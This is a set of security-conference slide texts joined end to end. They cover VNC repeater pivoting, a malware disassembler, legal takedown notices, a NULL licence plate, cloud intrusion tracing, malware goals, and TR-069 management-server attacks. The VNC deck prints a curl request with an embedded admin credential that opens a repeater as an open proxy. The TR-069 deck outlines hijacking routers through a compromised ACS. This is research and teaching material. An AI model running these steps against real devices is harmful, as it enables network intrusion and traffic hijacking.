Stargate: pivoting through VNC to own internal networks By Yonathan Klijnsma & Dan Tentler Stargate: pivoting through VNC to own internal networks 2 @ydklijnsma Yonathan Klijnsma Shodan professional, VNC voyeur, watches attackers and contemplates their motives. @Viss Dan Tentler Dark overlord of Shodan, VNC voyeur, security guy with a security company. Stargate: pivoting through VNC to own internal networks 3 Shit on the internet is getting pretty bad…. 3 Welcome to the internet - we shall be your guides Stargate: pivoting through VNC to own internal networks 4 Does it get better? 4 Stargate: pivoting through VNC to own internal networks 5 No.. 5 Stargate: pivoting through VNC to own internal networks 6 No…. no really 6 Stargate: pivoting through VNC to own internal networks 7 Its currently even worse… 7 Stargate: pivoting through VNC to own internal networks 8 It doesn’t seem to get better… 8 Stargate: pivoting through VNC to own internal networks 9 Security Camera “IoT” 9 Stargate: pivoting through VNC to own internal networks 10 Internet of Things Conference 10 Stargate: pivoting through VNC to own internal networks 11 Internet of Things Conference 11 Stargate: pivoting through VNC to own internal networks 12 Internet of Things Conference 12 Stargate: pivoting through VNC to own internal networks 13 Everything is being invented again 13 Stargate: pivoting through VNC to own internal networks 14 Everything is being invented again 14 - They have Wifi - They have telnet - Nobody added authentication - There is actually a CVE for not having authentication - WHAT. Stargate: pivoting through VNC to own internal networks 15 They aren’t getting it, hackers are having fun. 15 Stargate: pivoting through VNC to own internal networks 16 Besides ancient industrial devices we see new ‘toys’ 16 Stargate: pivoting through VNC to own internal networks 17 Besides ancient industrial devices we see new ‘toys’ 17 Stargate: pivoting through VNC to own internal networks 18 Besides ancient industrial devices we see new ‘toys’ 18 Stargate: pivoting through VNC to own internal networks 19 German 'Sonnenbatterie' solar-cell power storage systems 19 Stargate: pivoting through VNC to own internal networks 20 Boats… 20 Stargate: pivoting through VNC to own internal networks 21 We can find criminals(!?) on VNC…. 21 Stargate: pivoting through VNC to own internal networks 22 Maldives fishes! :D 22 Stargate: pivoting through VNC to own internal networks 23 Cardiac imaging on Shodan…. 23 Stargate: pivoting through VNC to own internal networks 24 Fingerprints…. 24 Stargate: pivoting through VNC to own internal networks 25 Swatting 2.0…. 25 Stargate: pivoting through VNC to own internal networks 26 Medical devices 26 Stargate: pivoting through VNC to own internal networks 27 Lets look at some statistics for VNC 27 Decided to scan the globe (with some Shodan help) for the RFB protocol header. It came back with 335K~ results, of those there are 8K~ which use no authentication. Stargate: pivoting through VNC to own internal networks 28 Lets look at some statistics for VNC 28 RFB 002.000 RFB 003.002 RFB 003.003 RFB 003.004 RFB 003.005 RFB 003.006 RFB 003.007 RFB 003.008 RFB 003.010 RFB 003.016 RFB 003.033 RFB 003.039 RFB 003.043 RFB 003.130 RFB 003.236 RFB 003.889 RFB 004.000 RFB 004.001 RFB 005.000 RFB 009.123 RFB 009.221 RFB 009.963 RFB 103.006 0 40000 80000 120000 160000 These should not exist?! Stargate: pivoting through VNC to own internal networks 29 Lets look at some statistics for VNC 29 RFB 002.000 RFB 003.002 RFB 003.003 RFB 003.004 RFB 003.005 RFB 003.006 RFB 003.007 RFB 003.008 RFB 003.010 RFB 003.016 RFB 003.033 RFB 003.039 RFB 003.043 RFB 003.130 RFB 003.236 RFB 003.889 RFB 004.000 RFB 004.001 RFB 005.000 RFB 009.123 RFB 009.221 RFB 009.963 RFB 103.006 0 40000 80000 120000 160000 Apple remote desktop RealVNC Personal RealVNC Enterprise ? Stargate: pivoting through VNC to own internal networks 30 Lets look at some statistics for VNC 30 RFB 002.000 RFB 003.002 RFB 003.003 RFB 003.004 RFB 003.005 RFB 003.006 RFB 003.007 RFB 003.008 RFB 003.010 RFB 003.016 RFB 003.033 RFB 003.039 RFB 003.043 RFB 003.130 RFB 003.236 RFB 003.889 RFB 004.000 RFB 004.001 RFB 005.000 RFB 009.123 RFB 009.221 RFB 009.963 RFB 103.006 0 40000 80000 120000 160000 Something else was responding with “RFB 000.000” 3.5K somethings named ‘RealVNC repeaters’. Stargate: pivoting through VNC to own internal networks 31 Stargate: pivoting through VNC to own internal networks 32 Stargate: pivoting through VNC to own internal networks 33 Stargate: pivoting through VNC to own internal networks 34 Stargate: pivoting through VNC to own internal networks 35 Stargate: pivoting through VNC to own internal networks 36 Stargate: pivoting through VNC to own internal networks 37 Stargate: pivoting through VNC to own internal networks 38 Stargate: pivoting through VNC to own internal networks 39 Stargate: pivoting through VNC to own internal networks 40 Stargate: pivoting through VNC to own internal networks 41 Stargate: pivoting through VNC to own internal networks 42 Stargate: pivoting through VNC to own internal networks 43 Stargate: pivoting through VNC to own internal networks 44 Stargate: pivoting through VNC to own internal networks 45 Stargate: pivoting through VNC to own internal networks 46 Stargate: pivoting through VNC to own internal networks 47 Stargate: pivoting through VNC to own internal networks 48 Stargate: pivoting through VNC to own internal networks 49 Stargate: pivoting through VNC to own internal networks 50 Stargate: pivoting through VNC to own internal networks 51 Talked to vendor 51 • Fixed port wrapping • Will not enforce VNC because own product will stop working • Will enforce whitelisting instead of blacklisting (I think) Product will stay as it is, a plain TCP proxy without inspection. Stargate: pivoting through VNC to own internal networks 52 I see your black/white listing but I don’t like it 52 curl "http://localhost/testaction.cgi? mode2=mode2&server_port=5901&viewer_port=5500&allow_on=all ow_on&allow_con=&refuse_con=&id_con=&web_port=80&hidden= " -H "Authorization: Basic YWRtaW46YWRtaW5hZG1pMg==" Stargate: pivoting through VNC to own internal networks 53 Do not run this. 53 We call this ‘vulnerability’ stargate, you never know where you end up :) It's an open proxy, and can be used to pivot into environments. Stargate: pivoting through VNC to own internal networks 54 Have fun! 54 Here are our (horrible) Python scripts, use at own caution and always: don’t abuse it (too much): https://www.github.com/0x3a/stargate/ And if you manage to use this in a pentest please tell us the war-stories :D Stargate: pivoting through VNC to own internal networks 55 3
pdf
Finding Xori Malware Analysis Triage with Automated Disassembly Amanda Rousseau Rich Seymour About Us Amanda Rousseau Rich Seymour Sr. Malware Researcher, Endgame, Inc. @malwareunicorn Sr. Data Scientist, Endgame, Inc. @rseymour Quick Overview The Current State of Disassemblers Functionality & Features Brief overview of pros and cons with current popular open source PE disassemblers. Overview how we pulled together the different aspects of disassemblers and emulator Usage & Demo How the output is used for automation. Applying the tool on various malware samples and shellcode. The Problem There are millions of malware samples to look at and a few reverse engineers. We need to change the way we are going about this if we are going to keep up. How to leverage large scale disassembly in an automated way with many samples? ● Improve the scalability in malware analysis ● Integration and automation Present Day Common Disassemblers Capstone Radare2 IDA Pro Hopper Binary Ninja Size small small large medium large Stability ✔ ✖ ✔ ✔ ✔ Price - - $$$ $ $$ Cross Platform ✔ ~ ✔ ✖ ✔ Usability ~ ~ ✔ ~ ~ Accuracy ~ ~ ✔ ~ ~ Integration ✔ ~ ✖ ✖ ✖ Requirements ● Fast development ● Stability and resilience ● Cross platform ● Output can be easily integrated ● Ease of use ● Core feature set ● Output accuracy Evaluating Disassemblers The first step - Diving into the code: ● Verifying the accuracy of various disassemblers ● Understand each of their strengths and limitations We adopted different aspects of disassemblers and emulator modules. ● Much of Capstone is also based on the LLVM & GDB repositories ● QEMU is the emulation is straightforward, easy to understand ● Converted some of the logic into Rust, while also fixing a few bugs along the way. Evaluating Example \x66\x90 XCHG AX, AX [Objdump]✔ X86 32bit: NOP [Capstone]✖ NOP [Distorm]✖ XCHG AX, AX [IDA Pro]✔ OpSize Opcode Developed in Rust Why Rust? ● Same capabilities in C\C++ ● Stack protection ● Proper memory handling (guaranteed memory safety) ● Provides stability and speed (minimal runtime) ● Faster development ● Helpful compiler Current Features ● Open source ● Supports i386 and x86-64 architecture only at the moment ● Displays strings based on referenced memory locations ● Manages memory ● Outputs Json ● 2 modes: with or without emulation ○ Light Emulation - meant to enumerate all paths (Registers, Stack, Some Instructions) ○ Full Emulation - only follows the code’s path (Slow performance) ● Simulated TEB & PEB structures ● Evaluates functions based on DLL exports Design Memory Manager Image TEB PEB DLL headers Analysis Functions Disasm Imports PE Loader State CPU Registers & Flags Stack Loop Tracking Analysis This structure contains the CPU state of the registers & flags, a new copy of the stack, and short circuiting for looping during emulation. State Handles the loading of the PE image into memory and sets up the TEB/PEB as well as initializing the offsets to loaded DLLs and import table. PE Loader This structure contains all of the mmap memory for the Image, TEB/PEB, and DLL headers. Accessors for Read & Write to avoid errors in inaccessible memory. Memory Manager The core container for the disassembly, functions, and imports. Roll your own PE Parser ● Although a few Rust PE parsers exist: goblin, pe-rs we decided to create our own. ● Chose to write it using the nom parser combinator framework ● Ideally less error prone due to safe macro constructions ● Many lessons learned ● From a historical perspective a PE parser start reading a 16 bit DOS file ● Then optionally switches to a PE32 or a PE32+ ● This is like a history of DOS and Microsoft Windows in a single parser. Analysis Enrichment ● The header is used to build the memory sections of the PE Image ● Similar to the PE loader in windows, it will load the image similar to how it would be loaded in the addressable memory. Where the imports are given memory address, rewritten in the image. Image .text .data .idata .rsrc Stack DLLs TEB PEB Symbols ● We needed a way to load DLL exports and header information without doing it natively. ● Built a parser that would generate json files for consumption called pesymbols. ● Instead of relying on the Import Table of the PE, it generates virtual addresses of the DLL and API in the Image’s Import Table. This way you can track the actual address of the function being pushed into various registers. ● The virtual address start is configurable as well as the json location. { "name": "kernel32.dll", "exports": [ { "address": 696814, "name": "AcquireSRWLockExclusive", "ordinal": 1, "forwarder": true, "forwarder_name": "NTDLL.RtlAcquireSRWLockExclusive" }, { "address": 696847, "name": "AcquireSRWLockShared", "ordinal": 2, "forwarder": true, "forwarder_name": "NTDLL.RtlAcquireSRWLockShared" }, ... "dll_address32": 1691680768, 0x64D50000 "dll_address64": 8789194768384, 0x7FE64D50000 "function_symbol32": "./src/analysis/symbols/generated_user_syswow64.json", "function_symbol64": "./src/analysis/symbols/generated_user_system32.json", ... Configurable in xori.json Example generated_user_syswow64.json Dealing with Dynamic API Calls The Stack The TEB and PEB structures are simulated based on the the imports and known dlls in a windows 7 environment. TEB/PEB Segregated memory for the local memory storage such as the stack. Memory Management If references to functions are pushed into a register or stack will be able to be tracked. Dealing with Dynamic API Calls 0x4010ed A3 00 10 40 00 mov [0x401000], eax 0x4010f2 68 41 10 40 00 push 0x401041 ; LoadLibraryA 0x4010f7 FF 35 00 10 40 00 push [0x401000] 0x4010fd E8 C9 01 00 00 call 0x4012cb 0x401102 83 F8 00 cmp eax, 0x0 0x401105 0F 84 CF 02 00 00 je 0x4013da 0x40110b A3 04 10 40 00 mov [0x401004], eax ; wI 0x401110 68 4E 10 40 00 push 0x40104e ; VirtualProtect 0x401115 FF 35 00 10 40 00 push [0x401000] 0x40111b E8 AB 01 00 00 call 0x4012cb 0x401120 83 F8 00 cmp eax, 0x0 0x401123 0F 84 B1 02 00 00 je 0x4013da 0x401129 A3 08 10 40 00 mov [0x401008], eax 0x40112e 6A 00 push 0x0 0x401130 6A 00 push 0x0 0x401132 68 1C 10 40 00 push 0x40101c ; shell32.dll 0x401137 FF 15 04 10 40 00 call [0x401004] ; kernel32.dll!LoadLibraryA 0x40113d A3 0C 10 40 00 mov [0x40100c], eax 0x401142 68 33 10 40 00 push 0x401033 ; ShellExecuteA 0x401147 FF 35 0C 10 40 00 push [0x40100c] 0x40114d E8 79 01 00 00 call 0x4012cb 0x401152 A3 10 10 40 00 mov [0x401010], eax Stores the address into ptr [0x401004] Loads LoadLibrary from the PEB Calls the new ptr Header Imports "ExitProcess" "GetLastError" "GetLocalTime" "GetModuleHandleA" Dynamic Imports "LoadLibraryA" "VirtualProtect" "ShellExecuteA" TEB & PEB #[derive(Serialize, Deserialize)] struct ThreadInformationBlock32 { // reference: https://en.wikipedia.org/wiki/Win32_Thread_Information_Block seh_frame: u32, //0x00 stack_base: u32, //0x04 stack_limit: u32, //0x08 subsystem_tib: u32, //0x0C fiber_data: u32, //0x10 arbitrary_data: u32, //0x14 self_addr: u32, //0x18 //End of NT subsystem independent part environment_ptr: u32, //0x1C process_id: u32, //0x20 thread_id: u32, //0x24 active_rpc_handle: u32, //0x28 tls_addr: u32, //0x2C peb_addr: u32, //0x30 last_error: u32, //0x34 critical_section_count: u32, //0x38 csr_client_thread: u32, //0x3C win32_thread_info: u32, //0x40 win32_client_info: [u32; 31], //0x44 ... let teb_binary: Vec<u8> = serialize(&teb_struct).unwrap(); In Rust, you can serialize structs into vectors of bytes. This way you can allow the assembly emulation to access them natively while also managing the access. PEB peb_ldr_data Entry 0: NTDLL Entry 1: Kernel32 Entry N Handling Branches & Calls ● Branches and calls have 2 directions ○ Left & Right ● In light emulation mode, both the left and right directions are followed ● Each direction is placed onto a queue with it’s own copy of the state. ● Any assembly not traversed will not be analyzed. ● All function calls are tracked for local and import table mapping. Queue State Jump/ Call/ Branch State LEFT RIGHT Back Front Handling Looping ● Infinite loops are hard to avoid ● Built a way to configure the maximum amount of loops a one can take ○ Forward ○ Backward ○ Standard Loop ● The state contains the looping information ● Once the maximum is reached, it will disable the loop "loop_default_case": 4000, ... Configurable in xori.json Automation for Bulk Analysis ● 4904 samples processed at 7.7 samples per second on dual 8-core E5-2650 Xeon w/ 2 threads per core ● Creates JSON output of important PE features from binary files allowing bulk data analysis: clustering, outlier detection and visualization. ● You can then easily throw Xori output into a database, document store or do a little data science at the command line $ jq '.import_table|map(.import_address_list)|map(.[].func_name)' *header.json |sort|uniq -c|sort -n 1662 "ExitProcess", 1697 "Sleep", 1725 "CloseHandle", 1863 "GetProcAddress", 1902 "GetLastError", Examples Cd ./xori Cargo build --release ./target/release/xori -f wanacry.exe Simplest Way to Run Xori extern crate xori; use std::fmt::Write; use xori::disasm::*; use xori::arch::x86::archx86::X86Detail; fn main() { let xi = Xori { arch: Arch::ArchX86, mode: Mode::Mode32 }; let start_address = 0x1000; let binary32 = b"\xe9\x1e\x00\x00\x00\xb8\x04\ \x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\ \x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\ \x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xff\ \x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\ \x64\x21\x0d\x0a"; let mut vec: Vec<Instruction<X86Detail>> = Vec::new(); xi.disasm(binary32, binary32.len(), start_address, start_address, 0, &mut vec); if vec.len() > 0 { //Display values for instr in vec.iter_mut() { let addr: String = format!("0x{:x}", instr.address); println!("{:16} {:20} {} {}", addr, hex_array(&instr.bytes, instr.size), instr.mnemonic, instr.op_str); } } } Basic Disassembler extern crate xori; extern crate serde_json; use serde_json::Value; use std::path::Path; use xori::analysis::analyze::analyze; use xori::disasm::*; fn main() { let mut binary32 = b"\xe9\x1e\x00\x00\x00\xb8\x04\ \x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\ \x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\ \x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xff\ \x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\ \x64\x21\x0d\x0a".to_vec(); let mut config_map: Option<Value> = None; if Path::new("xori.json").exists() { config_map = read_config(&Path::new("xori.json")); } match analyze(&Arch::ArchX86, &mut binary32, &config_map) { Some(analysis)=>{ if !analysis.disasm.is_empty(){ println!("{}", analysis.disasm); } }, None=>{}, } } Binary File Disassembler WanaCry Ransomware Xori IDA Pro WanaCry Ransomware Xori Radare2 Demo github.com/endgameinc/xori @malwareunicorn @rseymour
pdf
Toho is the owner of all rights in and to the trademark and service mark GODZILLA. As such, we request that you remove the objectionable imagery and reference to GODZILLA from your website to eliminate any likelihood of confusion and posibility of an inaccurate affiliation with Toho and GODZILLA Please be advised that your use of the GODZILLA mark constitutes a trademark infringement and confuses consumers and the public into believing that your “GODZILLA” character originates from Toho, which it does not. Your use of the “ZILLA” formative along with imagery associated with GODZILLA … demonstrates an attempt by you to trade on the goodwill built up by our client. Thank you for your anticipated cooperation. (i) the contents of your site contain Sony copyrighted software which you are copying and distributing in violation of Sony's rights; (ii) your site provides the means to circumvent the copy protection protocol of Sony's AIBO(tm) Memory Stick(tm) to allow access to Sony AIBO- ware software; and (iii) your site promotes the distribution of your original software such as "Disco AIBO", "AIBO Scope", "Bender AIBO", etc. which appear to have been created by copying and decrypting Sony's software. Aibo goes to law school to learn to read EULAs The use of the name "Aibo Kennel Club" clearly is designed for no purpose other than to trade on the good will in AKC's famous name. … Moreover, your organization's web site states that registering with the Aibo Kennel Club "assures a known 'lineage' for your Aibo." However, the robots do not produce offspring so there is no "lineage" to record. IMPOLITICS This is to request adjustments in the content of your website at www.whitehouse.org. … It is important to avoid using [Lynne Cheney’s] name and picture for the purposes of trade without her written consent. Please be aware that Section 713 of title 18 of the U.S. Code prohibits … (2) knowing reproduction of any likeness of the seal of the President, except for the official use of the Government or as authorized in Presidential regulations. Office of the Vice President Your website is clearly intended to imitate and mimic the RPT trademark symbol and website, and to create confusion and mislead the public. As a result, the public is likely to be deceived into believing that your website, including your misappropriation of the RPT's trademark protected symbol, is sponsored by or affiliated with the RPT. If you do not immediately cease and desist your use of this misleading website, my client may be forced to take any and all available legal action including, by not limited to, filing suit against you, Texas '02, and other individual or group who was involved with or participated in the "EnronownstheGOP" website. “The parties are advised to chill.” Judge Kozinski, Mattel, Inc. v. MCA Records, Inc. 296 F.3d 894 (9th Cir., 2002) … but not to be chilled. ChillingEffects.org
pdf
Go NULL yourself :or How I Learned to Start Worrying While Getting Fined for Other’s Auto Infractions Introduction • whoami • I’m called droogie. • I’m a degenerate. • I hack things for IOActive. Introduction • Why this talk? • Discussions of old “famous” hacker tales • Fake stories, lulz • Victims of computer bugs • Real situations from unexpected data • Are these scenarios realistic in today's tech environment? • Could someone exploit one of these scenarios for profit/lulz? Observations 5 License Plate Cameras License Plate Cameras • “SQL Injection” • Inject via query in license plate • Skepticism • Clearly a joke/wouldn’t work • Brings up some good points though License Plate Cameras • Palantir • Big Data Analytics • Surveillance Network Internal Manual https://www.vice.com/en_us/article/9kx4z8/revealed-this-is-palantirs-top-secret- user-manual-for-cops Different CA privacy laws https://www.eff.org/pages/california-automated-license-plate-reader-policies 8 License Plate Cameras FOIA • Freedom of Information Act • Provides the public the right to request access to records from any federal agency • There are a nine exemptions which could block you from obtaining data • They will not give you something they don’t already have • Ask for electronic delivery… • $0.10 per page, $1 per CD rom • https://www.foia.gov/ License Plate Cameras • Seattle PD ALPR Database • Contains all captured plate data for Seattle area • OCR/Images/Location Details • Interesting Data/Anomalies • Some sensitive info scrubbed, but not all ;) 11 License Plate Cameras Mr. NULL • Null surname breaking computer systems • Trouble purchasing plane tickets • Skepticism? • Is this a one-off issue in a specific scenario or a global issue? • Would something like this cause a bug today? • How did this even cause an issue? • NULL != “NULL”, Business logic issues? http://www.bbc.com/future/story/20160325-the-names-that-break-computer-systems My crime is that of curiosity My prediction • I believe Mr. Null • Edge cases likely still exist • Data validation is a major issues • Are there systems where we can provide similar data? • Would it trigger a bug? • Interesting outcome? • Profitable outcome? Vanity License Plates • US allows personalized license plates • Can’t be vulgar, sexual, negative, etc • Can’t misrepresent law enforcement • A-Z, 1-9, some symbols Let’s register a plate! ‘NULL’ appears to be available • Registration went through fine, no bugs or anything • Surprised, don’t have high expectations regarding DMV site Uh… profit? • Is it possible to be ‘invisible’ to citations? • What happens when a police officer does a search for my plate ‘NULL’ • would it not return any data? possibly error? • If they file a citation, would it cause an issue? Time will tell... Unforeseen Consequences Vehicle Registration Renewal • Time to renew registration • Let's use CA DMV site • Enter last five of VIN • Enter license plate Got a citation... • Parking ticket • Info documented on the citation • Looked up citation number in the citation processing company • Paid my citation like a sucker… I guess my predictions were wrong… You’ve got mail! • Grip of envelopes in mailbox… wtf? • Citations… • Wait, they’re addressed to me but they’re not for my car? My prediction was very wrong… Citation Processing Center • A Private Company • .GOV contracts… they’re appear to be collection • Their site allows for citation look up via Plate / State… Query: Plate: NULL State: California Citation Processing Center • Contact • Their request: • Mail in all of the citations I received • show copies of my current vehicle registration. • Show a complete history of all of my vehicle registrations • My response: • Uhm, fuck off. Citation Processing Center Did they have malicious intent? After our discussion… Any lawyers? • Do I have a legal footing? • They modified the data to make me look guilty • At this point I consider their entire database questionable… • Is this data synced with DMV? PD? • Do I have bench warrants for my arrest? • Will my license get suspended? Potential for Misconduct • Employees have write access • Disgruntled ex? • Can they be socially engineered to point citations at others? • Convinced citation was “off-by-one” / typo? Poor Solutions • LAPD • I don’t know • Change your plate • DMV • We don’t deal with citations, only suspensions if requested • Change your plate • CPC • Prove to us without a doubt that these hundreds of citations aren’t yours • Change your plate Poor Solutions • Surprisingly enough they responded to my tweet… • Somehow reached out to CPC and got them to void out a bunch of citations • This lowered my total amount due, but didn’t actually solve anything Future Possibilities CPC - Equivalent Issues • Lack of data entry standards • Other potential entries? • MISSING • NONE • NO TAGS • NO PLATE https://www.latimes.com/archives/la-xpm-1986-06-23-vw-20054-story.html Seattle PD ALPR Database OCR will read all sorts of things Sides of vehicles, buildings... Road signs… Seattle PD ALPR Database Some interesting patterns showing up in the database… Summary / Questions / Similar Story? • Still periodically receive tickets in the mail... • Still have NULL plate… • Total currently due at: $6,262.00… @droogie1xp droogie @ irc.2600.net, freenode, efnet
pdf
云环境自动化入侵溯源实战 徐越 阿里云安全工程师 WHOAMI 2015 2016 2019 • @cdxy_ • 安全工程师@阿里云 • 企业安全/入侵检测与响应 • 数据分析/机器学习爱好者 响应速度是企业安全能力的核心体现 是否误报? 漏洞?攻击路线? 黑客背景?目的? 影响哪些资产和账号? 泄露哪些数据? 是否存在内部违规操作? ... 告警 安全运营 看看怎么被入侵的 200G 日志 0 日志 看看怎么被入侵的 99% 误报 又来告警了 安全运营现状 安全运营流程中的技术问题 数据缺失 系统孤立 人工检索 [ 自动化入侵回溯 ] 多源异构数据的知识表达 采集 计算 交互 云原生的数据采集方案 满足90%以上事件调查 千万级RPS实时流计算 自动寻找入侵相关信息 图结构可视化 还原入侵链路 可视化 冗余 只展示有用的信息 数十种行为细节 粗糙 离线 分钟级延时 计算流程 将行为抽象成实体,描述入侵细节 黑客IP: x.x.x.x 服务器IP: x.x.x.x 攻击 黑客IP: x.x.x.x 服务器IP: x.x.x.x 漏洞利用 执行恶意指令 写入文件 告警 基于日志的被动关系构建 主动关系推理 断链修复:关联规则挖掘 watchbog 蠕虫回溯案例 JIRA模板注入(CVE-2019-11581) Solr RCE(CVE-2017-12629) SSH暴力破解 CouchDB RCE(CVE-2018-8007) 挖矿程序植入方式Top • SSH/RDP登录后写入 • WebLogic RCE • Kubernetes API Server未授权访问 • Struts2 RCE • Hadoop YARN 未授权访问 WEBSHELL植入方式Top • 表单文件上传 • 老马上传新马 • WordPress插件写入 • SSH/RDP登录后写入 • Discuz插件写入 宏观入侵原因统计 自动化0day捕获 Jenkins RCE (CVE-2019-1003000) 2019-01-30 15:45:22 - 115.236.5.58 WebLogic RCE (CVE-2019-2725) 2019-04-17 18:09:45 - 211.94.162.245 04-17 01-30 现阶段问题 数据 复杂网络拓扑/内网 计算 长时间窗口/复杂模型 对抗 Agent被杀或定向绕过 Q&A cdxy000 cdxy_
pdf
Module 2 Typical goals of malware and their implementations https://github.com/hasherezade/malware_training_vol1 Introduction Malware: missions and tactics Malware: missions and tactics • First questions that we need to answer analyzing malware: WHAT? • What is the main purpose (mission) of tha malware? • What is the malware family? • Other questions that follow: HOW? • How are the goals implemented? • Are the used techniques novel/similar to known implementations? • Possible actor: WHO? • Cybercrime? Nation-State? Level of sophistication? Malware: missions • Most common malware missions: • Extortion (ransomware) • Financial fraud and stealing of credentials (i.e. Banking trojans, card number stealers) • Long-run espionage operations (RATs, spyware) • Short run-espionage operations (stealing documents) • Botnets for other attacks (i.e. DDoS bots, spamming bots, click-fraud, loading of secondary malware) • Illegitimate usage of resources (i.e. proxy botnets, cryptocurrency miners) • Sometimes multiple goals can be implemented in one executable Malware: families • Trending malware families • https://any.run/malware-trends/ • https://blog.malwarebytes.com/reports/2020/02/malwarebytes-labs-releases-2020-state-of- malware-report/ Malware: tactics • MITRE database (https://attack.mitre.org/tactics) –set of common tactics used by malware • Depending on malware family, the authors may be interested in achieving different goals, i.e. • Persistence • Defense Evasion • Stealing Credentials • Exfiltration • Lateral Movements • Manipulation/Destruction Malware: tactics From: https://attack.mitre.org/tactics
pdf
(U) I hunt TR-069 admins Shahar Tal TOP SECRET//SI//REL TO DC22 no ISPs were harmed during the making of this presentation corporate legal wouldn't let us • Shahar Tal (@jifa) • Father, husband, geek • 10 years with IDF obligatory whoami Residential Gateway Security • It sucks. • Pedro Joaquin (Routerpwn), Jacob Holcomb (“So hopelessly broken”), Zachary Cutlip (“rooting SOHO”), devtty0 (D-Link “joel’s backdoor” and more) TR-069 in 69 seconds CPE WAN Management Protocol (CWMP/TR-069) TR-069 (cont.) SOAP RPC (XML over HTTP) Always* initiates session Dual authentication mechanism TR-069 Example RPC (ACSCPE) <soapenv:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <soapenv:Header> <cwmp:ID soapenv:mustUnderstand="1">1337069</cwmp:ID> </soapenv:Header> <soapenv:Body> <cwmp:SetParameterValues> <ParameterList soap:arrayType="cwmp:ParameterValueStruct[1]"> <ParameterValueStruct> <Name>InternetGatewayDevice.ManagementServer.URL</Name> <Value xsi:type="xsd:string">http://acs.supersecureisp.com/cwmp/</Value> </ParameterValueStruct> </ParameterList> <ParameterKey>1337069</ParameterKey> </cwmp:SetParameterValues> </soapenv:Body> </soapenv:Envelope> <soap:Body> <cwmp:Inform> <DeviceId> <Manufacturer>Secure-Devices-R-Us</Manufacturer> <OUI>001337</OUI> <ProductClass>IGD</ProductClass> <SerialNumber>123456789</SerialNumber> </DeviceId> <Event soap-enc:arrayType="cwmp:EventStruct[1]"> <EventStruct> <EventCode>2 PERIODIC</EventCode> <CommandKey /> </EventStruct> </Event> <MaxEnvelopes>1</MaxEnvelopes> <CurrentTime>2014-08-09T01:49:14+00:00</CurrentTime> <RetryCount>0</RetryCount> <ParameterList soap-enc:arrayType="cwmp:ParameterValueStruct[6]"> <ParameterValueStruct> <Name>Device.DeviceSummary</Name> <Value xsi:type="xsd:string" /> </ParameterValueStruct> <ParameterValueStruct> <Name>Device.DeviceInfo.HardwareVersion</Name> <Value xsi:type="xsd:string">5.0</Value> </ParameterValueStruct> <ParameterValueStruct> <Name>Device.DeviceInfo.SoftwareVersion</Name> <Value xsi:type="xsd:string">1.22</Value> </ParameterValueStruct> <ParameterValueStruct> <Name>Device.ManagementServer.ConnectionRequestURL</Name> <Value xsi:type="xsd:string">http://2.65.32.114:7547/</Value> </ParameterValueStruct> <ParameterValueStruct> <Name>Device.ManagementServer.ParameterKey</Name> <Value xsi:type="xsd:string">null</Value> </ParameterValueStruct> <ParameterValueStruct> <Name>Device.LAN.IPAddress</Name> <Value xsi:type="xsd:string">192.168.1.1</Value> </ParameterValueStruct> </ParameterList> </cwmp:Inform> </soap:Body> <soapenv:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/en coding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:soapenv="http://schemas.xmlsoap.org/soap /envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema- instance"> <soapenv:Header> <cwmp:ID soapenv:mustUnderstand="1">1</cwmp:ID> </soapenv:Header> <soapenv:Body> <cwmp:InformResponse> <MaxEnvelopes>1</MaxEnvelopes> </cwmp:InformResponse> </soapenv:Body> </soapenv:Envelope> TR-who? • (2011) Estimated 147M TR-069 enabled devices online • 70% Gateways • According to zmap, 7547 is open on 1.12% of IPv4 • 2nd most popular open port in the world Good Guy ACS • Monitor for faults, errors or malicious activity • Measure performance • Assist users by allowing Tech Support remote management • Replace/fix faulty configuration • Deploy upgraded firmware TR-069 Architecture Photo credit: https://www.etsy.com/shop/sharpwriter • Internet facing HTTP servers • Non-trivial connectivity to internal ISP assets Why should intelligence agencies care? Why should you care? • Because intelligence agencies do Scumbag ACS • What would an attacker do if he was in control of an ACS? • Get private data • SSID, hostnames & MAC addresses, usernames, VoIP • Get complete configuration incl. passwords (vendor-specific) • Set every parameter • DNS servers • Wi-Fi (add new hidden SSID, remove password) • PPP (replace WAN service with attacker controlled tunnel) • Download • Configuration, firmware, logs • Upload • Configuration, firmware Previous Work? • Luka Perkov (“ISP’s black box” @ 29c3, UKNOF24) • A brief survey of CWMP security (3SLabs) • http://blog.3slabs.com/2012/12/a-brief-survey-of-cwmp-security.html • That’s about it. • (Apologies if my google fu wasn’t strong enough to find you) Niche Market • Service Provider world • TR-069 community? TR-069 Community ADB, Affinegy, Agile ACS, Alvarion, Arris, AVSystem, Axiros, Calix, Cisco, Comtrend, Consona, Dimark, Draytek, Fine Point Technologies, Friendly Tech, GIP, Incognito Software, Intraway, Iskratel, iWedia, Jungo, Juniper Bridge, Mobigen, Motive, Netgem communications, Netmania, OneAccess, Pace, ProSyst, Ronankii Infotech, Sigma Systems, Tata Elxsi, Tilgin, Wi-tribe, Wind River, Works Systems I got TR-069 problems Insecure Configuration Insecure Implementation How do you find ACSs ITW? • Hack a single router. QED. • Scanning • zmap/masscan FTW • 7547 and friends • UPnP endpoints • Public datasets • Internet Census 2012 • DNS Census 2013 • lmgtfy • lmstfy Insecure Configuration • Poor/Non-existent Perimeter Security • Uhhm, like, firewalls. • Misunderstanding of Architecture Authentication Drill Down • SSL or shared secret • Shared secret = HTTP auth (basic/digest) HTTP 81% HTTPS 19% Stealing the Secret • Router interfaces try to protect ACS passwords. • But… allow you to change the ACS URL. . • ACS chooses and can enforce HTTP Basic auth • Base64 encoded “username:password” SSL Certificate Validation Field Test OpenACS • Open source (Java) • Start auditing • 3 days 